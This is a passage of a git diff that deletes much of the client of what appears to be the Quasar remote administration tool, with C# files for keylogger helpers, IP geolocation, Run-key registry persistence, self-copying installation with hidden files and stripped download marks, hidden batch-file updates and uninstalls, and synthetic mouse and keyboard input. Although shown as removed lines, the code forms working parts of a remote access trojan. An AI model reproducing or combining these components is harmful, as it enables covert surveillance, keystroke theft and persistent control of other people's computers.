using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - XmlDocument doc = new XmlDocument(); - doc.LoadXml(responseString); - - string xmlIp = doc.SelectSingleNode("Response//IP").InnerXml; - string xmlCountry = doc.SelectSingleNode("Response//CountryName").InnerXml; - string xmlCountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml; - string xmlRegion = doc.SelectSingleNode("Response//RegionName").InnerXml; - string xmlCity = doc.SelectSingleNode("Response//City").InnerXml; - string timeZone = doc.SelectSingleNode("Response//TimeZone").InnerXml; - - GeoInfo.ip = (!string.IsNullOrEmpty(xmlIp)) - ? xmlIp - : "-"; - GeoInfo.country = (!string.IsNullOrEmpty(xmlCountry)) - ? xmlCountry - : "Unknown"; - GeoInfo.country_code = (!string.IsNullOrEmpty(xmlCountryCode)) - ? xmlCountryCode - : "-"; - GeoInfo.region = (!string.IsNullOrEmpty(xmlRegion)) - ? xmlRegion - : "Unknown"; - GeoInfo.city = (!string.IsNullOrEmpty(xmlCity)) - ? xmlCity - : "Unknown"; - GeoInfo.timezone = (!string.IsNullOrEmpty(timeZone)) - ? timeZone - : "Unknown"; - - GeoInfo.isp = "Unknown"; // freegeoip does not support ISP detection - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - GeoInfo.country = "Unknown"; - GeoInfo.country_code = "-"; - GeoInfo.region = "Unknown"; - GeoInfo.city = "Unknown"; - GeoInfo.timezone = "Unknown"; - GeoInfo.isp = "Unknown"; - LocationCompleted = false; - } - - if (string.IsNullOrEmpty(GeoInfo.ip)) - TryGetWanIp(); - } - - private static void TryGetWanIp() - { - string wanIp = "-"; - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"; - request.Proxy = null; - request.Timeout = 5000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - wanIp = reader.ReadToEnd(); - } - } - } - } - catch (Exception) - { - } - - GeoInfo.ip = wanIp; - } - } -} \ No newline at end of file diff --git a/Client/Core/Helper/HostHelper.cs b/Client/Core/Helper/HostHelper.cs deleted file mode 100644 index 33236ab51..000000000 --- a/Client/Core/Helper/HostHelper.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Data; - -namespace xClient.Core.Helper -{ - public static class HostHelper - { - public static List GetHostsList(string rawHosts) - { - List hostsList = new List(); - - if (string.IsNullOrEmpty(rawHosts)) return hostsList; - - var hosts = rawHosts.Split(';'); - - foreach (var hostPart in from host in hosts where (!string.IsNullOrEmpty(host) && host.Contains(':')) select host.Split(':')) - { - if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) continue; // invalid, ignore host - - ushort port; - if (!ushort.TryParse(hostPart[1], out port)) continue; // invalid, ignore host - - hostsList.Add(new Host { Hostname = hostPart[0], Port = port }); - } - - return hostsList; - } - - public static string GetRawHosts(List hosts) - { - StringBuilder rawHosts = new StringBuilder(); - - foreach (var host in hosts) - rawHosts.Append(host + ";"); - - return rawHosts.ToString(); - } - } -} diff --git a/Client/Core/Helper/KeyloggerHelper.cs b/Client/Core/Helper/KeyloggerHelper.cs deleted file mode 100644 index 80e47c9ec..000000000 --- a/Client/Core/Helper/KeyloggerHelper.cs +++ /dev/null @@ -1,116 +0,0 @@ -using System.Collections.Generic; -using System.Text; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.WinApi; - -namespace xClient.Core.Helper -{ - public static class KeyloggerHelper - { - #region "Extension Methods" - public static bool IsModifierKeysSet(this List pressedKeys) - { - return pressedKeys != null && - (pressedKeys.Contains(Keys.LControlKey) - || pressedKeys.Contains(Keys.RControlKey) - || pressedKeys.Contains(Keys.LMenu) - || pressedKeys.Contains(Keys.RMenu) - || pressedKeys.Contains(Keys.LWin) - || pressedKeys.Contains(Keys.RWin) - || pressedKeys.Contains(Keys.Control) - || pressedKeys.Contains(Keys.Alt)); - } - - public static bool IsModifierKey(this Keys key) - { - return (key == Keys.LControlKey - || key == Keys.RControlKey - || key == Keys.LMenu - || key == Keys.RMenu - || key == Keys.LWin - || key == Keys.RWin - || key == Keys.Control - || key == Keys.Alt); - } - - public static bool ContainsKeyChar(this List pressedKeys, char c) - { - return pressedKeys.Contains((Keys)char.ToUpper(c)); - } - - public static bool IsExcludedKey(this Keys k) - { - // The keys below are excluded. If it is one of the keys below, - // the KeyPress event will handle these characters. If the keys - // are not any of those specified below, we can continue. - return (k >= Keys.A && k <= Keys.Z - || k >= Keys.NumPad0 && k <= Keys.Divide - || k >= Keys.D0 && k <= Keys.D9 - || k >= Keys.Oem1 && k <= Keys.OemClear - || k >= Keys.LShiftKey && k <= Keys.RShiftKey - || k == Keys.CapsLock - || k == Keys.Space); - } - #endregion - - public static bool DetectKeyHolding(List list, char search) - { - return list.FindAll(s => s.Equals(search)).Count > 1; - } - - public static string Filter(char key) - { - if ((int)key < 32) return string.Empty; - - switch (key) - { - case '<': - return "<"; - case '>': - return ">"; - case '#': - return "#"; - case '&': - return "&"; - case '"': - return """; - case '\'': - return "'"; - case ' ': - return " "; - } - return key.ToString(); - } - - public static string Filter(string input) - { - return input.Replace("<", "<").Replace(">", ">").Replace("\"", """).Replace("'", "'"); - } - - public static string GetDisplayName(Keys key, bool altGr = false) - { - string name = key.ToString(); - if (name.Contains("ControlKey")) - return "Control"; - else if (name.Contains("Menu")) - return "Alt"; - else if (name.Contains("Win")) - return "Win"; - else if (name.Contains("Shift")) - return "Shift"; - return name; - } - - public static string GetActiveWindowTitle() - { - StringBuilder sbTitle = new StringBuilder(1024); - - ThreadNativeMethods.GetWindowText(ThreadNativeMethods.GetForegroundWindow(), sbTitle, - sbTitle.Capacity); - - string title = sbTitle.ToString(); - - return (!string.IsNullOrEmpty(title)) ? title : null; - } - } -} diff --git a/Client/Core/Helper/MutexHelper.cs b/Client/Core/Helper/MutexHelper.cs deleted file mode 100644 index 47efc050b..000000000 --- a/Client/Core/Helper/MutexHelper.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System.Threading; - -namespace xClient.Core.Helper -{ - public static class MutexHelper - { - private static Mutex _appMutex; - - public static bool CreateMutex(string name) - { - bool createdNew; - _appMutex = new Mutex(false, name, out createdNew); - return createdNew; - } - - public static void CloseMutex() - { - if (_appMutex != null) - { - _appMutex.Close(); - _appMutex = null; - } - } - } -} diff --git a/Client/Core/Helper/NativeMethodsHelper.cs b/Client/Core/Helper/NativeMethodsHelper.cs deleted file mode 100644 index 9a1e06e9a..000000000 --- a/Client/Core/Helper/NativeMethodsHelper.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System.Drawing; -using System.Runtime.InteropServices; -using xClient.Core.Utilities; - -namespace xClient.Core.Helper -{ - public static class NativeMethodsHelper - { - private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; - private const uint MOUSEEVENTF_LEFTUP = 0x0004; - private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; - private const uint MOUSEEVENTF_RIGHTUP = 0x0010; - private const uint MOUSEEVENTF_WHEEL = 0x0800; - private const uint KEYEVENTF_KEYDOWN = 0x0000; - private const uint KEYEVENTF_KEYUP = 0x0002; - - public static uint GetLastInputInfoTickCount() - { - NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); - lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo); - lastInputInfo.dwTime = 0; - - return NativeMethods.GetLastInputInfo(ref lastInputInfo) ? lastInputInfo.dwTime : 0; - } - - public static void DoMouseLeftClick(Point p, bool isMouseDown) - { - NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0); - } - - public static void DoMouseRightClick(Point p, bool isMouseDown) - { - NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0); - } - - public static void DoMouseMove(Point p) - { - NativeMethods.SetCursorPos(p.X, p.Y); - } - - public static void DoMouseScroll(Point p, bool scrollDown) - { - NativeMethods.mouse_event(MOUSEEVENTF_WHEEL, p.X, p.Y, scrollDown ? -120 : 120, 0); - } - - public static void DoKeyPress(byte key, bool keyDown) - { - NativeMethods.keybd_event(key, 0, keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, 0); - } - } -} diff --git a/Client/Core/Helper/RegistryKeyHelper.cs b/Client/Core/Helper/RegistryKeyHelper.cs deleted file mode 100644 index a7b297a8b..000000000 --- a/Client/Core/Helper/RegistryKeyHelper.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System; -using Microsoft.Win32; -using xClient.Core.Extensions; - -namespace xClient.Core.Helper -{ - public static class RegistryKeyHelper - { - /// - /// Adds a value to the registry key. - /// - /// Represents the possible values for a top-level node on a foreign machine. - /// The path to the registry key. - /// The name of the value. - /// The value. - /// If set to True, adds quotes to the value. - /// True on success, else False. - public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false) - { - try - { - using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) - { - if (key == null) return false; - - if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) - value = "\"" + value + "\""; - - key.SetValue(name, value); - return true; - } - } - catch (Exception) - { - return false; - } - } - - /// - /// Opens a read-only registry key. - /// - /// Represents the possible values for a top-level node on a foreign machine. - /// The path to the registry key. - /// - public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) - { - try - { - return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); - } - catch - { - return null; - } - } - - /// - /// Deletes the specified value from the registry key. - /// - /// Represents the possible values for a top-level node on a foreign machine. - /// The path to the registry key. - /// The name of the value to delete. - /// True on success, else False. - public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) - { - try - { - using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) - { - if (key == null) return false; - key.DeleteValue(name, true); - return true; - } - } - catch (Exception) - { - return false; - } - } - } -} diff --git a/Client/Core/Helper/WindowsAccountHelper.cs b/Client/Core/Helper/WindowsAccountHelper.cs deleted file mode 100644 index 89f3c4ce8..000000000 --- a/Client/Core/Helper/WindowsAccountHelper.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.Diagnostics; -using System.Security.Principal; -using System.Threading; -using xClient.Core.Networking; -using xClient.Enums; - -namespace xClient.Core.Helper -{ - public static class WindowsAccountHelper - { - public static UserStatus LastUserStatus { get; set; } - - public static string GetName() - { - return Environment.UserName; - } - - public static string GetAccountType() - { - using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) - { - if (identity != null) - { - WindowsPrincipal principal = new WindowsPrincipal(identity); - - if (principal.IsInRole(WindowsBuiltInRole.Administrator)) - return "Admin"; - if (principal.IsInRole(WindowsBuiltInRole.User)) - return "User"; - if (principal.IsInRole(WindowsBuiltInRole.Guest)) - return "Guest"; - } - } - - return "Unknown"; - } - - public static void StartUserIdleCheckThread() - { - new Thread(UserIdleThread) {IsBackground = true}.Start(); - } - - static void UserIdleThread() - { - while (!QuasarClient.Exiting) - { - Thread.Sleep(5000); - if (IsUserIdle()) - { - if (LastUserStatus != UserStatus.Idle) - { - LastUserStatus = UserStatus.Idle; - new Packets.ClientPackets.SetUserStatus(LastUserStatus).Execute(Program.ConnectClient); - } - } - else - { - if (LastUserStatus != UserStatus.Active) - { - LastUserStatus = UserStatus.Active; - new Packets.ClientPackets.SetUserStatus(LastUserStatus).Execute(Program.ConnectClient); - } - } - } - } - - static bool IsUserIdle() - { - long ticks = Stopwatch.GetTimestamp(); - - long idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); - - idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); - - return (idleTime > 600); // idle for 10 minutes - } - } -} diff --git a/Client/Core/Installation/ClientInstaller.cs b/Client/Core/Installation/ClientInstaller.cs deleted file mode 100644 index 00d6e839f..000000000 --- a/Client/Core/Installation/ClientInstaller.cs +++ /dev/null @@ -1,104 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Threading; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Networking; - -namespace xClient.Core.Installation -{ - public static class ClientInstaller - { - public static void Install(Client client) - { - bool isKilled = false; - - // create target dir - if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER))) - { - try - { - Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER)); - } - catch (Exception) - { - return; - } - } - - // delete existing file - if (File.Exists(ClientData.InstallPath)) - { - try - { - File.Delete(ClientData.InstallPath); - } - catch (Exception ex) - { - if (ex is IOException || ex is UnauthorizedAccessException) - { - // kill old process if new mutex - Process[] foundProcesses = - Process.GetProcessesByName(Path.GetFileNameWithoutExtension(ClientData.InstallPath)); - int myPid = Process.GetCurrentProcess().Id; - foreach (var prc in foundProcesses) - { - if (prc.Id == myPid) continue; - prc.Kill(); - isKilled = true; - } - } - } - } - - if (isKilled) Thread.Sleep(5000); - - //copy client to target dir - try - { - File.Copy(ClientData.CurrentPath, ClientData.InstallPath, true); - } - catch (Exception) - { - return; - } - - if (Settings.STARTUP) - { - if (!Startup.AddToStartup()) - ClientData.AddToStartupFailed = true; - } - - if (Settings.HIDEFILE) - { - try - { - File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden); - } - catch (Exception) - { - } - } - - FileHelper.DeleteZoneIdentifier(ClientData.InstallPath); - - //start file - var startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - UseShellExecute = false, - FileName = ClientData.InstallPath - }; - try - { - Process.Start(startInfo); - } - catch (Exception) - { - } - } - } -} diff --git a/Client/Core/Installation/ClientUninstaller.cs b/Client/Core/Installation/ClientUninstaller.cs deleted file mode 100644 index e1b47c3d0..000000000 --- a/Client/Core/Installation/ClientUninstaller.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; - -namespace xClient.Core.Installation -{ - public static class ClientUninstaller - { - public static void Uninstall(Client client) - { - try - { - RemoveExistingLogs(); - - if (Settings.STARTUP) - Startup.RemoveFromStartup(); - - if (!FileHelper.ClearReadOnly(ClientData.CurrentPath)) - throw new Exception("Could not clear read-only attribute"); - - string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE); - - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create uninstall-batch file"); - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - - Program.ConnectClient.Exit(); - } - catch (Exception ex) - { - new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client); - } - } - - public static void RemoveExistingLogs() - { - if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger - { - try - { - Directory.Delete(Keylogger.LogDirectory, true); - } - catch - { - } - } - } - } -} diff --git a/Client/Core/Installation/ClientUpdater.cs b/Client/Core/Installation/ClientUpdater.cs deleted file mode 100644 index 3811266ad..000000000 --- a/Client/Core/Installation/ClientUpdater.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using xClient.Config; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; - -namespace xClient.Core.Installation -{ - public static class ClientUpdater - { - public static void Update(Client client, string newFilePath) - { - try - { - FileHelper.DeleteZoneIdentifier(newFilePath); - - var bytes = File.ReadAllBytes(newFilePath); - if (!FileHelper.IsValidExecuteableFile(bytes)) - throw new Exception("no pe file"); - - string batchFile = FileHelper.CreateUpdateBatch(newFilePath, Settings.INSTALL && Settings.HIDEFILE); - - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create update batch file."); - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - - if (Settings.STARTUP) - Startup.RemoveFromStartup(); - - Program.ConnectClient.Exit(); - } - catch (Exception ex) - { - NativeMethods.DeleteFile(newFilePath); - new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client); - } - } - } -} diff --git a/Client/Core/Installation/Startup.cs b/Client/Core/Installation/Startup.cs deleted file mode 100644 index 5c523f322..000000000 --- a/Client/Core/Installation/Startup.cs +++ /dev/null @@ -1,58 +0,0 @@ -using Microsoft.Win32; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; - -namespace xClient.Core.Installation -{ - public static class Startup - { - // ReSharper disable InconsistentNaming - private static string GetHKLMPath() - { - return (PlatformHelper.Is64Bit) - ? "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" - : "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; - } - - public static bool AddToStartup() - { - if (WindowsAccountHelper.GetAccountType() == "Admin") - { - bool success = RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, GetHKLMPath(), - Settings.STARTUPKEY, ClientData.CurrentPath, true); - - if (success) return true; - - return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, - true); - } - else - { - return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath, - true); - } - } - - public static bool RemoveFromStartup() - { - if (WindowsAccountHelper.GetAccountType() == "Admin") - { - bool success = RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, GetHKLMPath(), - Settings.STARTUPKEY); - - if (success) return true; - - return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY); - } - else - { - return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY); - } - } - } -} diff --git a/Client/Core/MouseKeyHook/Hook.cs b/Client/Core/MouseKeyHook/Hook.cs deleted file mode 100644 index 577eb6071..000000000 --- a/Client/Core/MouseKeyHook/Hook.cs +++ /dev/null @@ -1,38 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xClient.Core.MouseKeyHook.Implementation; - -namespace xClient.Core.MouseKeyHook -{ - /// - /// This is the class to start with. - /// - public static class Hook - { - /// - /// Here you find all application wide events. Both mouse and keyboard. - /// - /// - /// Returned instance is used for event subscriptions. - /// You can refetch it (you will get the same instance anyway). - /// - public static IKeyboardMouseEvents AppEvents() - { - return new AppEventFacade(); - } - - /// - /// Here you find all application wide events. Both mouse and keyboard. - /// - /// - /// Returned instance is used for event subscriptions. - /// You can refetch it (you will get the same instance anyway). - /// - public static IKeyboardMouseEvents GlobalEvents() - { - return new GlobalEventFacade(); - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/HotKeys/HotKeyArgs.cs b/Client/Core/MouseKeyHook/HotKeys/HotKeyArgs.cs deleted file mode 100644 index 49c15a862..000000000 --- a/Client/Core/MouseKeyHook/HotKeys/HotKeyArgs.cs +++ /dev/null @@ -1,33 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xClient.Core.MouseKeyHook.HotKeys -{ - /// - /// The event arguments passed when a HotKeySet's OnHotKeysDownHold event is triggered. - /// - public sealed class HotKeyArgs : EventArgs - { - private readonly DateTime m_TimeOfExecution; - - /// - /// Creates an instance of the HotKeyArgs. - /// Time when the event was triggered - /// - public HotKeyArgs(DateTime triggeredAt) - { - m_TimeOfExecution = triggeredAt; - } - - /// - /// Time when the event was triggered - /// - public DateTime Time - { - get { return m_TimeOfExecution; } - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/HotKeys/HotKeySet.cs b/Client/Core/MouseKeyHook/HotKeys/HotKeySet.cs deleted file mode 100644 index 42d599b4e..000000000 --- a/Client/Core/MouseKeyHook/HotKeys/HotKeySet.cs +++ /dev/null @@ -1,287 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Collections.Generic; -using System.Windows.Forms; -using xClient.Core.MouseKeyHook.Implementation; - -namespace xClient.Core.MouseKeyHook.HotKeys -{ - /// - /// An immutable set of Hot Keys that provides an event for when the set is activated. - /// - public class HotKeySet - { - /// - /// A delegate representing the signature for the OnHotKeysDownHold event - /// - /// - /// - public delegate void HotKeyHandler(object sender, HotKeyArgs e); - - private readonly IEnumerable m_hotkeys; //hotkeys provided by the user. - private readonly Dictionary m_hotkeystate; //Keeps track of the status of the set of Keys - /* - * Example of m_remapping: - * a single key from the set of Keys requested is chosen to be the reference key (aka primary key) - * - * m_remapping[ Keys.LShiftKey ] = Keys.LShiftKey - * m_remapping[ Keys.RShiftKey ] = Keys.LShiftKey - * - * This allows the m_hotkeystate to use a single key (primary key) from the set that will act on behalf of all the keys in the set, - * which in turn reduces to this: - * - * Keys k = Keys.RShiftKey - * Keys primaryKey = PrimaryKeyOf( k ) = Keys.LShiftKey - * m_hotkeystate[ primaryKey ] = true/false - */ - private readonly Dictionary m_remapping; //Used for mapping multiple keys to a single key - private bool m_enabled = true; //enabled by default - //These provide the actual status of whether a set is truly activated or not. - private int m_hotkeydowncount; //number of hot keys down - private int m_remappingCount; - //the number of remappings, i.e., a set of mappings, not the individual count in m_remapping - - /// - /// Creates an instance of the HotKeySet class. Once created, the keys cannot be changed. - /// - /// Set of Hot Keys - public HotKeySet(IEnumerable hotkeys) - { - m_hotkeystate = new Dictionary(); - m_remapping = new Dictionary(); - m_hotkeys = hotkeys; - InitializeKeys(); - } - - /// - /// Enables the ability to name the set - /// - public string Name { get; set; } - - /// - /// Enables the ability to describe what the set is used for or supposed to do - /// - public string Description { get; set; } - - /// - /// Gets the set of hotkeys that this class handles. - /// - public IEnumerable HotKeys - { - get { return m_hotkeys; } - } - - /// - /// Returns whether the set of Keys is activated - /// - public bool HotKeysActivated - { - //The number of sets of remapped keys is used to offset the amount originally specified by the user. - get { return m_hotkeydowncount == (m_hotkeystate.Count - m_remappingCount); } - } - - /// - /// Gets or sets the enabled state of the HotKey set. - /// - public bool Enabled - { - get { return m_enabled; } - set - { - if (value) - InitializeKeys(); //must get the actual current state of each key to update - - m_enabled = value; - } - } - - /// - /// Called as the user holds down the keys in the set. It is NOT triggered the first time the keys are set. - /// - /// - public event HotKeyHandler OnHotKeysDownHold; - - /// - /// Called whenever the hot key set is no longer active. This is essentially a KeyPress event, indicating that a full - /// key cycle has occurred, only for HotKeys because a single key removed from the set constitutes an incomplete set. - /// - public event HotKeyHandler OnHotKeysUp; - - /// - /// Called the first time the down keys are set. It does not get called throughout the duration the user holds it but - /// only the - /// first time it's activated. - /// - public event HotKeyHandler OnHotKeysDownOnce; - - /// - /// General invocation handler - /// - /// - private void InvokeHotKeyHandler(HotKeyHandler hotKeyDelegate) - { - if (hotKeyDelegate != null) - hotKeyDelegate(this, new HotKeyArgs(DateTime.Now)); - } - - /// - /// Adds the keys into the dictionary tracking the keys and gets the real-time status of the Keys - /// from the OS - /// - private void InitializeKeys() - { - foreach (Keys k in HotKeys) - { - if (m_hotkeystate.ContainsKey(k)) - m_hotkeystate.Add(k, false); - - //assign using the current state of the keyboard - m_hotkeystate[k] = KeyboardState.GetCurrent().IsDown(k); - } - } - - /// - /// Unregisters a previously set exclusive or based on the primary key. - /// - /// Any key used in the Registration method used to create an exclusive or set - /// - /// True if successful. False doesn't indicate a failure to unregister, it indicates that the Key is not - /// registered as an Exclusive Or key or it's not the Primary Key. - /// - public bool UnregisterExclusiveOrKey(Keys anyKeyInTheExclusiveOrSet) - { - Keys primaryKey = GetExclusiveOrPrimaryKey(anyKeyInTheExclusiveOrSet); - - if (primaryKey == Keys.None || !m_remapping.ContainsValue(primaryKey)) - return false; - - List keystoremove = new List(); - - foreach (KeyValuePair pair in m_remapping) - { - if (pair.Value == primaryKey) - keystoremove.Add(pair.Key); - } - - foreach (Keys k in keystoremove) - m_remapping.Remove(k); - - --m_remappingCount; - - return true; - } - - /// - /// Registers a group of Keys that are already part of the HotKeySet in order to provide better flexibility among keys. - /// - /// - /// HotKeySet hks = new HotKeySet( new [] { Keys.T, Keys.LShiftKey, Keys.RShiftKey } ); - /// RegisterExclusiveOrKey( new [] { Keys.LShiftKey, Keys.RShiftKey } ); - /// - /// allows either Keys.LShiftKey or Keys.RShiftKey to be combined with Keys.T. - /// - /// - /// - /// Primary key used for mapping or Keys.None on error - public Keys RegisterExclusiveOrKey(IEnumerable orKeySet) - { - //Verification first, so as to not leave the m_remapping with a partial set. - foreach (Keys k in orKeySet) - { - if (!m_hotkeystate.ContainsKey(k)) - return Keys.None; - } - - int i = 0; - Keys primaryKey = Keys.None; - - //Commit after verification - foreach (Keys k in orKeySet) - { - if (i == 0) - primaryKey = k; - - m_remapping[k] = primaryKey; - - ++i; - } - - //Must increase to keep a true count of how many keys are necessary for the activation to be true - ++m_remappingCount; - - return primaryKey; - } - - /// - /// Gets the primary key - /// - /// - /// The primary key if it exists, otherwise Keys.None - private Keys GetExclusiveOrPrimaryKey(Keys k) - { - return (m_remapping.ContainsKey(k) ? m_remapping[k] : Keys.None); - } - - /// - /// Resolves obtaining the key used for state checking. - /// - /// - /// The primary key if it exists, otherwise the key entered - private Keys GetPrimaryKey(Keys k) - { - //If the key is remapped then get the primary keys - return (m_remapping.ContainsKey(k) ? m_remapping[k] : k); - } - - /// - /// - /// - internal void OnKey(KeyEventArgsExt kex) - { - if (!Enabled) - return; - - //Gets the primary key if mapped to a single key or gets the key itself - Keys primaryKey = GetPrimaryKey(kex.KeyCode); - - if (kex.IsKeyDown) - OnKeyDown(primaryKey); - else //reset - OnKeyUp(primaryKey); - } - - private void OnKeyDown(Keys k) - { - //If the keys are activated still then keep invoking the event - if (HotKeysActivated) - InvokeHotKeyHandler(OnHotKeysDownHold); //Call the duration event - - //indicates the key's state is current false but the key is now down - else if (m_hotkeystate.ContainsKey(k) && !m_hotkeystate[k]) - { - m_hotkeystate[k] = true; //key's state is down - ++m_hotkeydowncount; //increase the number of keys down in this set - - if (HotKeysActivated) //because of the increase, check whether the set is activated - InvokeHotKeyHandler(OnHotKeysDownOnce); //Call the initial event - } - } - - private void OnKeyUp(Keys k) - { - if (m_hotkeystate.ContainsKey(k) && m_hotkeystate[k]) //indicates the key's state was down but now it's up - { - bool wasActive = HotKeysActivated; - - m_hotkeystate[k] = false; //key's state is up - --m_hotkeydowncount; //this set is no longer ready - - if (wasActive) - InvokeHotKeyHandler(OnHotKeysUp); //call the KeyUp event because the set is no longer active - } - } - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/HotKeys/HotKeySetCollection.cs b/Client/Core/MouseKeyHook/HotKeys/HotKeySetCollection.cs deleted file mode 100644 index 83c0161f1..000000000 --- a/Client/Core/MouseKeyHook/HotKeys/HotKeySetCollection.cs +++ /dev/null @@ -1,48 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; - -namespace xClient.Core.MouseKeyHook.HotKeys -{ - /// - /// A collection of HotKeySets - /// - public sealed class HotKeySetCollection : List - { - private KeyChainHandler m_keyChain; - - /// - /// Adds a HotKeySet to the collection. - /// - /// - public new void Add(HotKeySet hks) - { - m_keyChain += hks.OnKey; - base.Add(hks); - } - - /// - /// Removes the HotKeySet from the collection. - /// - /// - public new void Remove(HotKeySet hks) - { - m_keyChain -= hks.OnKey; - base.Remove(hks); - } - - /// - /// Uses a multi-case delegate to invoke individual HotKeySets if the Key is in use by any HotKeySets. - /// - /// - internal void OnKey(KeyEventArgsExt e) - { - if (m_keyChain != null) - m_keyChain(e); - } - - private delegate void KeyChainHandler(KeyEventArgsExt kex); - } -} \ No newline at end of file diff --git a/Client/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs b/Client/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs deleted file mode 100644 index 380a90b47..000000000 --- a/Client/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs +++ /dev/null @@ -1,4 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - diff --git a/Client/Core/MouseKeyHook/HotKeys/ReadMe.txt b/Client/Core/MouseKeyHook/HotKeys/ReadMe.txt deleted file mode 100644 index 12a3f832b..000000000 --- a/Client/Core/MouseKeyHook/HotKeys/ReadMe.txt +++ /dev/null @@ -1,85 +0,0 @@ -Until a separate, full-featured test version is ready, here's a quick update that can be made to the 